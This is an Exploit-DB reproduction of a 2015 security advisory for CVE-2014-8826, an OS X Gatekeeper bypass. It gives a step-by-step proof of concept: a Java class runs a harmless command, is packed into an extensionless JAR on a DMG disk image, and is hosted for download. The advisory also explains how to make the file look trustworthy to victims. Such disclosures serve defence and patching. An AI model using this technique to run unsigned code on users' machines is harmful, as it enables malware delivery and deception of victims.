Apple Mac OSX < 10.10.x - GateKeeper Bypass

EDB-ID:

35934


Platform:

OSX

Published:

2015-01-29

# Exploit Title: OS X Gatekeeper bypass Vulnerability
# Date: 01-27-2015
# Exploit Author: Amplia Security Research
# Vendor Homepage: www.apple.com
# Version: OS X Lion, OS X Mountain Lion, OS X Mavericks, OS X Yosemite
# Tested on: OS X Lion, OS X Mountain Lion, OS X Mavericks, OS X Yosemite
# CVE : CVE-2014-8826

Advisory URL :
http://www.ampliasecurity.com/advisories/os-x-gatekeeper-bypass-vulnerability.html

Gatekeeper is a feature available in OS X Lion v10.7.5 and later
versions of OS X.

Gatekeeper performs checks on files and applications downloaded from the
Internet to prevent execution of supposedly malicious and
untrusted/unsigned code.

Gatekeeper provides three different settings:

- Mac App Store (Only apps that came from the Mac App Store can open)
- Mac App Store and identified developers (Only apps that came from the
Mac App Store and identified developers using Gatekeeper can open)
- Anywhere

The default setting is "Mac App Store and identified developers".

This setting prevents execution of any code that was not downloaded from
the Mac App Store and that was not digitally signed by a Developer ID
registered with Apple.

For example, If the user downloads an application from an untrusted
source and double-clicks on the application to execute it, OS X
Gatekeeper will prevent its execution with the following warning message:

"<AppName> can't be opened because it is from an unidentified developer."

(For more information on OS X Gatekeeper, see
http://support.apple.com/kb/ht5290)

We found an attacker can bypass OS X Gatekeeper protections and execute
unsigned malicious code downloaded by the user, even if OS X Gatekeeper
is configured to only allow execution of applications downloaded from
the Mac App Store (the highest security setting).

The exploitation technique is trivial and requires Java to be installed
on the victim's machine.

OS X Gatekeeper prevents execution of downloaded Java Jar (.jar) and
class (.class) files, but this verification can be bypassed.

For example:

- Create a JAR file containing the code to be executed

For example,

File AmpliaTest.java:

public class AmpliaTest {
	public static void main(String[] args) {
		try { Runtime.getRuntime().exec("/usr/bin/touch /tmp/AMPLIASECURITY");
} catch(Exception e) { }
	}
}

(This is just an example, of course, arbitrary code can be executed)

$ javac AmpliaTest.java

Be sure to compile the code for a version of Java lower than or equal to
the one available on the target (for example, javac -target 1.6 -source
1.6 AmpliaTest.java; and the compiled code will work on Java versions >=
1.6) .

$ echo "main-class: AmpliaTest" > Manifest

$ jar cmf Manifest UnsignedCode.jar AmpliaTest.class

- Create a .DMG disk image

For example:

$ hdiutil create -size 5m -fs HFS+ -volname AmpliaSecurity AmpliaTest.dmg

- Mount AmpliaTest.dmg

- Rename UnsignedCode.jar to UnsignedCode (just remove the extension)

- Copy UnsignedCode to the AmpliaSecurity volume

- Unmount AmpliaTest.dmg

- Host the file AmpliaTest.dmg on a web server

- Download AmpliaTest.dmg using Safari and open it

- Double-Click on 'UnsignedCode' and the code will be executed bypassing
OS X Gatekeeper checks (the code creates the file /tmp/AMPLIASECURITY).

(Perform the same steps but without removing the .jar extension to
UnsignedCode.jar and OS X Gatekeeper will prevent execution of the Jar file)

Because the file 'UnsignedCode' has no extension, Finder will display a
blank page icon; the Java/JAR icon will not be displayed. The user does
not know he is double-clicking on a JAR file and the file does not look
particularly suspicious. Also, since the unsigned code is distributed
inside a disk image (.DMG) file, there are many things the attacker can
do to gain the trust of the user (include other files, use Finder
background images, etc).